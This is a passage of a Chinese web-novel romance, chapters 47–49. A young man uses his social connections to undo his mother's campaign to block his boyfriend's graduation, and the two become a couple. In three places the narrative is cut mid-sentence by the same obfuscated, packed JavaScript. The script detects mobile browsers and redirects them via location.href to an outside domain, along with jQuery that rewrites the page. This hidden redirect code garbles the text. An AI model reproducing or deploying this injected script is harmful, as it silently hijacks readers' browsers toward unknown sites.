晏关山没少陪闻影来画室画画,一个画,一个带着笔记本写论文,有时候一不小心能熬到后半夜去,十次有八次会遇到苏淳,虽然没明着跟对方说他俩啥关系,苏淳看也看出来了。
但回回遇到苏淳,他对晏关山都当做没看见,这次主动喊住人,晏关山反倒有些奇怪。
晏关山挑眉:“找我有事?”
“请你吃饭。”苏淳冷着脸说,“别急着拒绝,我问过闻影了,他晚饭没空,正好我俩聊聊。”
晏关山越听越奇怪:“我俩有什么可聊的?”
“聊闻影啊。”苏淳直白道。
晏关山像听到笑话一样轻笑一声。
“你别笑。”苏淳满脸不高兴,“我不管你和他什么关系,有些事得让你知道,我是出于关心他才私下找你的,我想你也不希望他毕不了业吧?”
晏关山笑容顿住:“什么意思?”
苏淳勾了勾车钥匙:“走,找个安静地方慢慢说。”
47.第 47 章
两人来了一家音乐酒馆,晚饭时间有西餐供应,吃完了还能喝酒。
算是安静的地方,能好好说会话儿。
晏关山没胃口,随便点了东西,立即问:“闻影怎么了?”
苏淳往后一靠,抱臂道:“他这四年缺课严重,你知道吧。闻影是个很有天赋的学生,有作品也积累了成绩,文老惜才,不止顶着压力保他,还给了他不少机会。可这些事毕竟不符合规定,现在被捅到上面了,人家揪着不放,非要按照规章制度来。”
按规章制度也无可厚非,闻影缺课严重是前几年,出勤不够必然挂科,但挂科补考通过就没事了。
晏关山道:“据我所知他现在很少旷课,之前挂的也都补考通过了,文老就算出面保过他,也并不是略过补考这个环节,还有哪里不符合规定?”
“高校里的门门道道多了去了,牵扯各方面人情。”苏淳把酒倒上,扬了扬下巴示意晏关山动筷,“这事儿没那么简单,边吃边说。”
晏关山全程食不知味地听着,按苏淳的理解,这里头还有教授间的互相排挤打压,校领导派系的斗争,闻影不过是个把柄,往小了说是打压文老的把柄,往大了说是抹黑美院的把柄,打压文老能获得更多学术资源,抹黑美院,校领导在投入上会更倾斜别的院。
苏淳见晏关山一脸沉默,像是很发愁,不免有些得意,他道:“闻影缺课惹出麻烦也不是头一次了,之前我也帮了他不少忙,这次当然也会努力替他解决问题,毕竟我在高校系统内,认识的人多也熟悉他们的操作,你不用太紧张。”
晏关山淡淡一笑,虽明白对方说这些是来炫耀的,不过他之前帮闻影的忙是事实,晏关山和气道:“闻影读书这些年有你这样负责任的导员,是他的福气,我得谢谢你。”
苏淳听着不是滋味:“要谢也轮不着你谢,我为他做这些,也不是想要他感谢我。”
晏关山笑意淡去:“那你要什么?”
“你知道的啊。”苏淳道,“我喜欢他。”
晏关山眼睛都没眨一下,抬着酒杯和对方碰了碰:“他对你没那种心思。”
“如果不是你搅和,保不齐八字已经有一撇了。”苏淳盯着被晏关山撞了下的酒杯,出了会儿神才道,“找你说这些我都觉得幼稚,本来嘛,成年人处朋友,不是两厢情愿的也勉强不来,可我们毕竟不一样……我不玩不约洁身自好,就是想好好找个喜欢的人长久一点,等了他这么些年,因为你搅局让我竹篮打水,我不甘心。”
晏关山对他甘不甘心没什么兴趣,凉凉道:“先说正事。”
“这就是正事。”苏淳强调完冷笑一声,“晏关山,或者我该称呼你晏大少爷,你们有钱人要什么没有,何必为了跟家里人赌气,赔上一个普通人的大好前程?”
晏关山心下了然,晏母果然去无事生非了。
他压着脾气问:“到底发生了什么?”
苏淳说,周芸,也就是晏关山的妈这周内不止一次通过大院领导的关系,给美院院长施压,只有一个诉求,就是不许闻影留在玉大。晏母的弟弟是国际交流学院的荣誉院长,晏家周家的企业每年投进来的钱都很可观,他们有什么诉求院领导不可能不在意。
况且晏母找到的把柄确实存在,这样本来可以睁一只眼闭一只眼的事被有心之人刻意放大,美院夹在中间为难,文老处境尴尬,闻影毕业证能不能发已经很难说。
苏淳:“我们院儿教授都有些社会资源,给毕业和即将毕业的学生提供就业机会,这本来是好事。文老牵线搭桥给学生介绍画廊的工作,现在被说成是中饱私囊,他不止给闻影一个人推过资源,但能得他青眼的是少数,现在没资源的多数学生群情激愤,觉得美院老师都在收钱办事,还造谣这些学生私底下权色交易,闻影就首当其冲。”
苏淳越说越气愤,敲了敲桌子:“晏关山,你们二代耍事儿不少,逗闷子去找别人,能不害闻影吗?你妈跟你有啥矛盾我真没兴趣打听,但你们母子俩斗气拿闻影开刀不合适吧?”
“我该谢谢你告诉我这些。”晏关山克制得体地回答,“不过事情已经出了,我会想办法解决,即不连累美院和文老名誉,也不可能让闻影毕不了业。”
“你怎么解决?”苏淳咄咄逼人地问。
“这就不劳你费心了。”晏关山平静地说。
“晏大少爷。”苏淳脸色不虞,认真审视了他半晌,咬牙切齿道,“你要真喜欢他,就理他远点儿,要是玩玩的,放人一马,他是个苦孩子,别祸祸人。”
晏关山同样审视着对方,他当然生气,却不是气苏淳说的这些话,而是气自己有这样的父母,总在意想不到的时候,把手伸进自己儿子的生活和不相干的人的生活里,闹得所有人都不得安宁。
可也许是因为习惯了,也因为离开家许多年,晏关山成熟了很多,遇事生气冲突都没用,当务之急就是想法子解决问题。
因此和面前的人争口舌上的高下根本没有必要,晏关山平静道:“他的事我会管到底。”
苏淳:“你俩好了?”
晏关山没点头也没摇头。
“我会继续争取他。”苏淳说,“他还年轻,分辨不出谁对他的将来有帮助,我会让他看明白。”
……
稍晚些时候,许寰电话终于打过来,说的事和苏淳告诉晏关山的大差不差,不过提到了晏母究竟疏通的哪一层面的关系,具体用什么借口向美院施压。
许寰:“还有一个情况,和美院有合作的那几家画廊,目前都暂停了接收学生兼职和签约,闻影才谈好的那家画廊好像就没签成。”
晏关山心说,怪不得问他顺不顺利,闻影避而不谈扯了些别的。
许寰:“你有什么打算?”
晏关山平静道:“见几个人,你等我电话吧,这几天你晚饭都别安排事儿了。”
许寰大喇喇一笑:“那敢情好,我就跟着你蹭吃蹭喝。”
晏关山坐在自家花园里打的电话,他单手搂着皮皮,一天比一天觉得房子太大了,少个人就会很空,他大概能想明白闻影不把这事儿告诉他的原因,正因如此,他才心疼。
闻影是孤独地长大的,所有的麻烦习惯了独自面对,有困难挫折他很难向他人启齿,这无关面子,而是一直以来的生活经验告诉他,没人能帮得了自己。
即便这件事跟晏关山有关,闻影还是选择了自己面对。本来,晏关山想要扭转他的习惯打算慢慢来,可事情出了,他妈下手了,也逼得晏关山以一个强势的姿态挤占对方的生活空间。
闻影能不能接受得了已经是其次,晏关山在这一点上其实挺感谢苏淳的,他那些话虽是拿来炫耀,试图逼退晏关山这个情敌,但出发点是为了闻影,没什么事能重要得过闻影的前程,他是个自由潇洒的人,晏关山喜欢这样的他,他不允许任何人用手段破坏对方的生活。
正想着,手机就收到了闻影的微信。
[景三]:明天来我这吃饭。
[景三]:去你那也行。
[景三]:你到家没?
[景三]:打会儿游戏?带你飞
[景三]:?
刚才在打电话,没顾上看微信,一小会儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774145|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的功夫闻影已经发了那么多条。
晏关山打字又删掉又打字,始终犹豫要不要现在就把事情说开,闻影见“对方正在输入”断断续续出现消失,始终没回复,实在忍无可忍,打了个视频过来。
晏关山笑着接起,屏幕被闻影的下巴填满,他坐在书房画画,手机摆在大腿上,这个死亡角度却还是能看得出完美的下颚线和性感喉结。
喉结主人突然俯视,压迫感十足地道:“问你三个问题你特么是要给我写篇儿作文发过来啊?”
晏关山把脸凑近些:“到家了,游戏一会儿打,明天开始这周都有些忙,忙完陪你。这个回答满意吗?”
闻影低下头快速瞟一眼又抬起头去:“满意什么满意。”
“你不是打来查岗的?”晏关山问。
闻影失笑:“嘁,就你这出家人作息我有内必要查岗吗?”
“难说。”晏关山坏笑起来,“开了荤了,我觉得还是当个俗人好。”
“胆大的你就去。”闻影道,“谁拦着你是怎么的?”
“真去啊?”晏关山满眼期待,“以前许寰跟我说过几家玉城出名的 gay 吧……”
“你敢去老子剁了你。”闻影把手机抬起来,给金属调色刀一个大大的特写,“拿这个我一样剁。”
“那不去了。”晏关山张口就说,“我害怕。”
真是不要脸一男的,闻影低头瞟一眼,再瞟一眼。
怎么有点可爱。
晏关山眼睛一亮:“能给我看看墙角那幅画吗?”
“什么画?”闻影回头看了一眼。
晏关山指指右边:“墙脚,花筒后头叠着的,画了个白色的布。”
闻影一愣:“……就,就是一副练习的画,丑,别看了。”
“多丑?”晏关山盯了他一秒,“丑到你都结巴了,画了什么我不能看?”
“是,就你不能看。”闻影说。
晏关山大大叹气:“画家本人我都看光了,画还有不能看的。”
“你给我闭嘴吧。”闻影那边画面晃动,是抓着手机去取画了,他一边拿一边解释,“既然要看,那你看了别哭。”
什么画能把人搞哭,闻小朋友好厉害!
晏关山更期待了。
闻影把画放在画架上,脸不自然地有点泛红,镜头还对着他,他道:“你数三二一,我就转过去。”
晏关山狂点头,他笑着倒数。
“三。”
“二。”
“一!”
镜头一转,一个穿着白大褂的帅哥出现在画布上,他应该是困极了,头一歪靠在保温箱旁打盹,里面才有巴掌大的小猫咪伸着爪子,隔着玻璃摸了摸小帅哥的脸。
和闻影现在的抽象画风很不一样,这幅画写实,一眼就能看出来是晏关山,他本人当然也记得这个场景,那天加班到很晚,他在住院室检查完坐着就睡着了,是闻影叫醒他,接他回家的。
时隔多年,画中住院室的布置和记忆里的依旧一样,而那时晏关山被轻轻喊醒看见闻影一刹那的心跳和此时此刻也是一样。
鲜活、剧烈、声声分明、次次动心。
镜头对着画,响起闻影有些不好意思的声音,他说:“这是那天,我想送你的礼物。迟了六年,你特么啥时候能拿走啊!”
跟闻影待久了,晏关山已经进步到把脏话当情话听的程度。
晏关山是感动,但有些事更迫切,他问:“打个商量?”
“什么?”
“我现在来拿画。”晏关山说,“床借我一半呗。”
48.第 48 章
闻影是见识过晏关山忙起来有多夸张的。
别说按时吃饭上下班,有时候一天到晚连口水都喝不上,晏关山跟他说过,动物医学一直是冷门专业,现在养宠的人越来越多,宠物医院常常人手不够用,加班是常态。
所以他说接下来半个来月会忙得脚不沾地,闻影很识趣地没问东问西,当然发微信还是秒回,就是见不到面。画廊暂时没法儿签约,兼职中断了,闻影也得想点别的办法赚钱,他晚上还是会去学校画画,白天有空就接了商稿埋头在电脑前。
边屹嫌一个人去图书馆没意思,抱着电脑来闻影家写文论,做个伴还能管他饭,连着来了一周,他实在看不下去了,走到电脑面前敲敲闻影的肩膀:“你天天这样不累吗?”
“那咋办,得交稿啊。”闻影纹丝不动地答。
边屹在他身后看了半天,闻影一只手握着笔一只手按着数位板上的快捷键,画得忘我,脖颈微微往前勾着,维持这个姿势有时候一天五六个小时不带动弹,手边的咖啡喝了一半,做的午饭也没吃完,早就凉透了。
边屹叹了口气,问:“一张稿子多少钱啊?”
“两千。”
“两千?!”边屹心疼道,“这图你画了一个多星期了,修修改改还没交稿,一个月累死累活能画几个啊,一会儿颈椎能受得了?都不够按摩费呢。”
闻影无所谓地笑道:“我不爱上网也不发图,是个没名没气的画师,一张稿能赚两千已经是老板大方了。”
边屹听不得这些,为了两千块的网稿,被不知名甲方反复挑剔发难,堂堂美院高材生,一副参展的画随手都能卖个好价,边屹委屈得要死。
他扶着闻影的肩膀说:“你画着,我给你揉揉吧?”
“别。”闻影自觉是有家室的人了,赶人道,“你论文写完了吗就来骚扰我,累了自己睡去,我这赶工呢。”
“钱的事你别担心,几十万我拿不出来几万的压岁钱我还是有的,日子过不下去我可以养你。”边屹忽然说,“画廊签不了咱也可以看看工作室嘛,退而求其次只是权宜之计不是?好歹工作室有保障啊。”
闻言闻影一愣,扭过头眯起眼来:“你知道了?”
边屹不是说漏嘴,是实在忍不住了才这么说的:“许寰哥早就告诉我了,美院发生的事还有你的事,何况学校贴吧的帖子天天被顶到最前面,我想不看到都难啊。”
帖子里闻影的性取向成了谈资,在权色交易的谣言中因为同性恋蒙上了一层更加暧昧的阴影,以至于这件事中相关的领导教授导员甚至是同学,或多或少惹了一身流言。
闻影看过帖子,骂他他无所谓,但连累别人还是让他心里很烦,注册了小号几次打算问候对方祖宗,可想了想,隔着网络对方纯纯是来发泄恶意,跟这种人较劲浪费时间,索性他再没去关注过帖子的内容。
可边屹是经历过校园暴力和网络暴力的人,他知道有多难熬,也知道性取向被大多数人当做攻击的把柄,偏见是走到哪里跟到哪里的。
他道:“以前我被人指着鼻子骂的时候你都挡在我面前,现在你遇到事儿了,咱们一起想办法呗,三哥。”
边屹已经很久没叫过他“三哥”了,这么一叫,闻影心软:“不就毕不了业,有什么大不了的。学校要真处理,我走就是了。文老他们对我也算仁至义尽,不读书我就去找活干,饿不死。”
“不至于不至于。”边屹收拾好情绪赶紧拍拍他,“害,怎么说着说着越说越不头,我是想叫你别太担心来着,学校不会不给你毕业证,画廊的事也有转机,很快了,你不用这么急着赚钱的。”
“很快了?”闻影奇怪道,“你是知道什么没跟我说么?”
“啊,有晏哥在,他会解决。”边屹说,“都不让我告诉你,怕你犟着事情就不好办了,你别怪他们。”
闻影一怔。
晏关山解决?
闻影蹙着眉问:“晏关山干什么了,你快点说。”
边屹:“是许寰哥告诉我的,具体的我也不清楚,不过听说晏哥约了很多人吃饭,从校领导到画廊负责人,他人脉广,我想应该不用太担心吧。”
闻影呆在原地。
晏关山为了他的事跑去到处求人?!
边屹:“说来晏哥对你是真好,我听许寰哥说他最近天天都喝得很醉,可饭局排得又满,要见的人很多,硬撑着。晏家的背景太硬了,晏哥现在自立门户要靠一己之力跟他妈掰手腕,确实不容易,我本来说……我本来想劝他们算了,想别的办法,晏哥还跟我讲道理呢。”
闻影艰难问:“讲什么道理?”
是他早知道他也会说算了,这逼书不读也罢,他舍不得晏关山去低头。
边屹:“晏哥说,成年人的世界有自己的规则,他虽然不喜欢,可面对重要的人得做取舍,面子和自尊没有你的前程重要,这也是他离开家,需要经历的成长过程。”
闻影不记得自己怎么从家里出来的,走之前边屹拉着他千叮咛万嘱咐别跟晏关山生气,闻影只觉得好笑,人家为着他的事忙前忙后,他有什么好生气的,他敷衍了一声“知道了”,抓着衣服就打上车,直奔晏关山的家而去。
到他家时饭点儿刚过,李姐已经走了,家里空荡荡的,皮皮应该刚遛回来,趴在院子里睡觉,听见闻影的动静扒拉着铁门恨不得跳支舞,闻影输入密码进去,抱着狗子腻歪了半天,心情却是说不出的复杂。
有点低落,又有点幸福,很难把交杂在一起的情感分辨清楚,他跟家里所有毛孩子打完招呼,摁开电视,去冰箱里搜罗半天,开火,熬汤。
以至于这幅熟悉的画面映入眼帘时,醉醺醺的晏关山还以为自己已经睡着了,梦见了过去的日子。
有人等他回家,家里有饭菜的香味,开着暖黄的灯光,电视声不大,稀稀疏疏荡在每一个角落成了某种只属于家的白噪音。
看见迎出来的人,扶着晏关山的苏淳一愣,闻影也很错愕:“怎么是你送他回来?”
苏淳同时问道:“你怎么在他家?”
“谢了。”闻影伸手把晏关山接过去,看他脚步虚浮,直接给扛到沙发上躺着。
苏淳站在玄关没打算进屋,闻影回到门口问:“进来喝杯水再走吧,你是不是也喝了?正好我做了解酒的饮料,还煲了汤。”
苏淳神色复杂,一言难尽地扫了一眼闻影的家居服和拖鞋,才问道:“你一直住这儿?”
闻影:“下午刚过来。”
“哦。”苏淳喃喃道,“我还以为你们——”
“他是我男朋友。”闻影直接承认,“我俩好着了,以后我会在这儿常住。”
苏淳猛的抬头,愣了很久很久,苦笑着点头说:“我明白了。”
闻影抿了抿唇,往客厅看了一眼,苏淳把他眼底的记挂看得一清二楚,主动道:“他喝的有点多,不过酒好,好好休息明天会恢复的。学校里的事情都解决了,你这男朋友……挺能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781786|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
耐。”
闻影淡淡道:“也谢谢你。”
“不用。”苏淳无奈地抹了一把头,再抬起来时眼底蒙了层水雾,他笑着问,“我是不是彻底没戏啦?”
“他是我的初恋。”闻影死了几百个脑细胞,才想到这么个委婉拒绝的话,“恋爱太几把麻烦了,我只打算恋这一次。”
送走失魂落魄的苏淳,闻影去厨房盛汤拿饮料,放在茶几上后又去打了一盆温水,他刚把盆放下,忽然被沙发上的人一把抓过去,晏关山身上酒味很重,头一歪靠在闻影的肩膀上,喘了半天气。
闻影贴了贴对方滚烫的脸颊柔声说:“手拿来,擦擦手擦擦脸,你喝点东西去睡。”
晏关山听话地把手伸出去,乖乖给擦手,给洗脸,洗完舒了一口气说:“你知道我去哪儿了。”
“知道。”
“生气了吗?”喝了酒头好重,晏关山垂着脑袋找了半天找到闻影的手,一根一根指头分开握住,“生气了啊。”
看着那截红透了的脖颈,闻影心软成一片:“我有什么理由生气?”
晏关山想了想说:“我替你做了些决定,瞒着你,先跟别人许诺了。”
“说来听听,什么决定。”
晏关山掰着指头数:“好好上课,一堂都不能再缺;还有两门选修,补考;年底考研,考玉大的;毕业设计和论文,要一次过。”
说完晏关山垂着脑袋等在那里,半晌没人理,他猛地抬头来,在闻影两只眼睛见来来回回找,找发怒的情绪,没找到像是还松了口气。
闻影乐了,逗他:“哦,不是叫我去杀人放火啊。”
“那不能。”晏关山梗着脖子说,“杀人放火我替你干。”
“出息!”闻影捏了捏对方滚烫的耳垂,“这些事不难,你都替我决定了,我保证完成任务。”
晏关山张着嘴“啊”了声。
“啊什么?”
晏关山意外:“你这么听我话。”
闻影揉乱对方的头发,冲着好看的鼻尖咬了一口说:“从小就没人管我,现在有你管着,感觉也不赖。”
晏关山颇不习惯闻影和气温柔地说话,挺新鲜的,他居然也有浑身刺软下来的时候。
“这种事儿,以后得先让我知道。”闻影看着他说,“你又不怕我骂你,瞒着我干什么?”
“没个正经身份却干涉你的事。”晏关山笑了下,委屈巴巴地说,“我不敢跟你说。”
“你丫接着装。”闻影作势掐了下对方大腿。
“啊。”晏关山叫一声,把头埋在闻影肩膀,是醉酒后更加不要脸不要皮的撒娇,闻影感觉自己被个树懒死死抱着,热烘烘软绵绵的。
真腻歪!
“我刚跟苏淳说你是我男朋友。”闻影敲敲树懒的脑壳说,“这算不算正经身份了?”
晏关山愣了一秒很快抬起头,不可置信地看着闻影,半晌真心发问:“他气哭没有?”
“你特么……”闻影气笑了,两手捏住晏关山的脸说,“这是重点吗?”
晏关山被掐得脸嘟嘟的,笑憋不住,憨得很。一向在外高冷英俊成熟稳重,多一点表情动作都很难见到的晏院长,此刻像个小孩儿一样笑着,笑里都是一颗澄澈单纯的真心。
“咱俩把小日子过好。”晏关山情话十分干瘪,但直接,“要加油。”
闻影往前靠近了些,一边说一边含住两片柔软的唇,含糊道:“再接再厉啊,男朋友。”
49.第 49 章
翌日,晏关山头昏脑涨地醒过来,早就过了上班时间了,他掏出手机迷迷糊糊给小陈打电话说晚点过去。
小陈那边莫名其妙嘿嘿笑了一声:“啊,院长,你男朋友已经打来请过假了。”
晏关山一噎。
小陈八卦的心根本压不住:“我说您是院长,想什么时候来什么时候来,你男朋友说不合适,翘班就得请假,就慌里慌张把电话挂了。听声儿是个很可爱的小哥哥啊,院长啥时候带来给我们看看。”
晏关山半晌才说:“小陈,你接受能力挺高。”
“那必须的!”小陈觉得这是夸奖,“我没少磕cp,遇到活的,我势必要当你们的第一大粉头。”
晏关山:“……”
床边没人没热度,闻影早就起了,晏关山坐起来醒了会儿瞌睡,见到闻影昨天穿来的衣服都还挂在衣架上,莫名让人安心,他才不慌不忙地起身去洗了个澡。
洗完下楼,家里十分热闹,电视开着,厨房里还有炒菜的声音,闻影和李姐一直在聊着什么,听到动静两个人一起喊:“下来吃早点了,你好些了吗?”
“嗯。”晏关山清了清嗓,“来啦。”
李姐熬了一大锅猪脚汤,还煮了饭,闻影在炒小菜,见晏关山过来往凳子上一坐,大爷似的等饭吃,白了他一眼:“头疼不疼?”
“不疼。”晏关山吸了吸鼻子,“大早上就吃饭啊?”
闻影不客气道:“做都做了,你吃不吃?”
“吃。”晏关山答得一点不犹豫。
李姐听笑了,说:“我也说早点吃饭会不会太撑,你肯定吃不下几口,小闻就说你不敢不吃。关山,你好听小闻的话。”
晏关山莞尔:“他说什么我听什么。”
闻影轻轻给了他一脚:“酒醉子昨天把晚饭都吐干净了,不多吃点你今天还上个毛的班啊。”
最近被酒精腌入味儿了,晏关山很少让自己置于无法掌控的状态,酒后失控他有点抱歉,抓了抓头发问:“我忘了自己怎么回家的,你给收拾的?”
“不然呢?你好意思等到李姐来给你收拾?”闻影道,“脏衣服洗了,干净的我给你换的。”
说这话的时候脸还有点红,晏关山想起这回偶遇到闻影,当天就给人扒光换内裤的事,闻影一直耿耿于怀。
“也算礼尚往来。”他说。
“别杵这儿碍手碍脚。”闻影偷瞄了一眼李姐,对方笑眯眯做饭根本没把这些古怪的对话当回事,他放了心,下巴指指手边台子,命令道,“把这玩意儿喝了,拿碗筷去客厅。”
学校是下午打来的电话,院领导都在,说要见一下闻影把处理结果告诉他。闻影给晏关山发了信息就出门了。
[Y]:放心,我不会让你没书读。
看着这条简短的回复,闻影整个人都有些飘飘然。
小时候被欺负所以总打架,别的小朋友打不过就叫家长,他看着那些身材高大气势汹汹的爸爸们,把孩子护在身后,又擦眼泪又哄地说“爸爸在呢,不让人欺负你”时,心底油然而生过羡慕。
考试考砸了,不管初中还是高中也见过不少同学呜呜哭着离开学校,校门口总有翘首以盼的家长,有因为成绩当场挨骂的,当然也有看见呜呜就哭的学生安慰他们“考不上爸妈养你”的。
闻影放学没人接过,更没听过这些话,他只知道羡慕,并不晓得具体在羡慕什么。现在晏关山一条微信让他明白,他羡慕的是后背有人撑着的踏实感。
开学一段时间了,学校里挺热闹,闻影坐在办公室里等着院领导来谈话,倒是苏淳先推门进来,他把手上的文件递给闻影:“处理结果没有书面文件,这事儿就算过了,大院领导沟通后也觉得没必要小题大做,需要你再补考的科目是缺课严重的,虽然以前补考过,这次要求达到一定分数,不难吧?”
苏淳已经替闻影整理好需要参考的补考教材,考试时间也都标明了,闻影摇摇头:“能过,谢了。”
“我没做什么。”苏淳直言,“是晏关山本事大,能找来的人都说得上话。”
晏关山自小就认识各种有头有脸的叔叔伯伯,这些年自己在外面开宠物医院,公益基金会和助农项目接触到的人也多,人入社会,总有需要别人帮助的时候,这次他愿意开口,自有人伸出援手。
闻影替他委屈,晏关山的性格,明明最讨厌在酒桌和交际场合里虚与委蛇,也不是年龄增长就非得混成人情世故的模样。
晏关山倒还跟他说实话:“能解决问题,不喜欢也可以忍着。”
“我可忍不了。”闻影固执地说。
“你忍不了就不忍。”晏关山当时和他挤在沙发里各玩各的手机,随口道,“家里给你兜底。”
听听,给兜底。
闻影听这话心里是挺美的,甚至幻想了半天自己把天捅个窟窿,晏关山抱着石头巴巴地跟在后头补。
但真看着他醉得五迷三道,半夜难受得直哼哼,闻影又舍不得放晏关山一个人在外头“忍”。
所以闻影试着用一种更平和的方式去解决问题,不摆烂不回避,哪怕某些方式他曾经有过偏见,但晏关山都能接受,他觉得自己也不是不可以。
回过神,苏淳还在说,这事儿许寰也出了不少力。晏关山活动完社会关系,玉大情理上也不愿意为难自己的学生和老师,最后的处理结果属于高高抬起轻轻放下,这是多方努力的结果。
苏淳:“况且你这个事,大部分是无中生有的谣言,不过晏关山跟人做了保证,你都知道了吧?”
“知道。”闻影干脆地说。
苏淳观察他的神色,竟没看出一点不耐烦,奇怪道:“没什么要说的?”
“就半年了,该考的该补的我搞定不就完了?”闻影看着有点无精打采,但不是抗拒,他说,“只是比往常要多来学校,也没什么大不了。”
苏淳有些意外:“我以为你肯定不乐意呢。”
“没不乐意。”闻影耸耸肩,“烦是烦,来来回回考试谁不烦,不还得考?”
“对了,考研的要求……给我一份。”闻影挠挠头,“去年的错过了,今年还是考一个吧。”
“你还挺听他的话。”苏淳摇着头笑完,拍拍那沓文件,“早给你准备好了,都在里面,还有和画廊签约的合同。”
把东西收拾好,闻影跟苏淳道了别往外走,因为边屹为这事儿操心得觉都睡不好,他拍了合同和补考时间表,给边屹和晏关山同时发过去一份。
[边边小叮当]:我终于可以睡个好觉了,不过下周得吃素。[哭泣]
[景三]:???
[边边小叮当]:本善男发了毒誓,只要你能顺利毕业,我宁愿下周吃素。
[景三]:神经。
晏关山是在他快离开教学楼的时候才发来的。
[Y]:不忙的话去见一见文老,代我说声谢谢。
闻影低着头刚走出大厅,脚步一顿,原地转身上了楼,找了半天人不在办公室,文老正在画室里教学生上课,还是对方先注意到在走廊里鬼鬼祟祟的闻影,文老背着个手出来将人抓住,闻影连个开场白都没有,当头就是句“对不起”。
“唉哟。”文老噎了一下,端详片刻说,“我可受不起。”
“受得起受得起。”闻影背着手,浑身不自在,但还是站得笔直,“我真心的,文老。”
闻影应该没有猜错,晏关山让闻影见文老一面,表达谢意是其次,这一面见了,闻影说不出口的歉意文老心里就会明白。晏关山是怕闻影难为情,才绕了一个弯儿。
这小弯儿绕到了闻影心里,所以他梗着脖子就来了,真心实意的。从进玉大到现在四年,文老作为他的老师,帮了很多忙,说一句倾囊相授不为过,为了让学生以后能日子过得好点,想了许多办法给找出路。
因为自己的破事儿连累文老名誉,于情于理,闻影都该当面致歉。况且晏关山体贴地给绕弯儿,有些事难为情、不好意思、做不惯,一旦有人看破不说破替自己周全,这一步就很容易迈出去。
“要不我给您鞠一躬吧。”见文老半天没反应,闻影猛地一弯腰,红着脸说,“对不起!”
文老扯着他肩膀拽起来,哈哈大笑。
太知道自己学生是个什么德行,所以闻影这副偷鸡摸狗浑身僵硬的模样,让歉意尤其真心。文老捏捏闻影的肩膀骂:“臭小子,装模作样呢在这。”
“真的真的。”闻影看他笑,不紧张了,“您笑那么开心,不生我气了?”
“都过去了。”文老笑眯眯地说,“好好画。”
“文老,今年我考研,等我一年我还来找你。”闻影用一种“你放学别走”的口气说。
文老笑就没停过:“好,你小子要考不上…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784238|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…”
文老卡了壳,闻影下巴一扬:“提头来见!”
……
晏母作妖的事儿就算这么过去了,她倒是想方设法还联系闻影,微信被闻影拉黑之后,来学校也蹲过几次。碰了面闻影也不避,反正他说话不好听,硬聊难受的是晏母。几次之后晏母再不来了,来来回回都那些车轱辘话,单方面要求闻影远离晏关山,晏关山只一句“我追的他”就能让晏母所说所为溃不成军。
柜也出了,关系也决裂了,再说体面显得虚伪,晏关山把这事儿看得挺淡,是闻影总替他可惜,但又想不出两全其美的办法。
[Y]:有没有父母都一样过,跟你学的。
[景三]:学点好。
[Y]:下班晚,你怎么吃饭?
[景三]:我自己吃,你加班也自己吃,不能不吃。
[Y]:吃。下班我来画室。
[景三]:别来,自己回家去。
[Y]:[可怜]
[景三]:[拳头]
[Y]:我想来。
闻影盯着这三字儿嘴角都压不住笑,直接打了个视频过去,晏关山老半天才接起来,他也没避着同事,闻影能从小小的画面里看见跃跃欲试的半拉人头,晏关山站在医院大堂里。
“正准备点饭。”晏关山摘下口罩,对着镜头笑了下。
背景音不时能听见“嫂子好”“来吃饭”,闻影好好看了下他家晏医生,几天不见,是有点想,他说:“那你们点点儿好的吃。”
晏关山还没说话,一旁的小陈抢先开口:“咱院长大方得很,嫂子放心,嫂子来吃吗?”
“改天来。”闻影心情好,回应了一句,也不炸毛人家喊他“嫂子”,然后对晏关山叮嘱,“你别来了听见没,周末我过来。”
晏关山眼睛一亮,点头说好。
闻影瞧不得他得意那样,末了还刻意强调:“我是想皮皮了。”
上班族的疲惫闻影看在眼里,有那么一两回晏关山下了班非要在画室陪他画画,陪着陪着眼睛就闭上了,杵着下巴在电脑面前睡了半天,那之后闻影就再不让晏关山来了,说什么都不让。
主动改口叫人“男朋友”都一个月了,但真凑在一起腻腻歪歪的机会不多,闻影白天上课夜里画画,忙补考,周末得兼职。晏关山就更不用说了,当医生不管给人看病还是给动物看病,都是以患者为先,不是他想休就能休的。
以至于相处的氛围都沉在一种漫漫日常的生活状态里,不激烈,但舒适。没有送花送惊喜,或目的地明确的约会,是他俩都习惯的琐碎点滴,唯一算得上比较激烈一些的表现,就是某一天晏关山突然把设计师请到家里,跟闻影说二楼最大的一间客房要重新装修。
“改成画室。”晏关山站在一面墙旁边敲了敲,“这不是承重墙,我问过可以敲掉,跟旁边储物间连通,能大点儿。”
闻影愣了下:“要那么大干嘛啊?”
“大点方便。”晏关山心里早盘算过了,说,“再放上书桌和小床,你还想添点什么都够。”
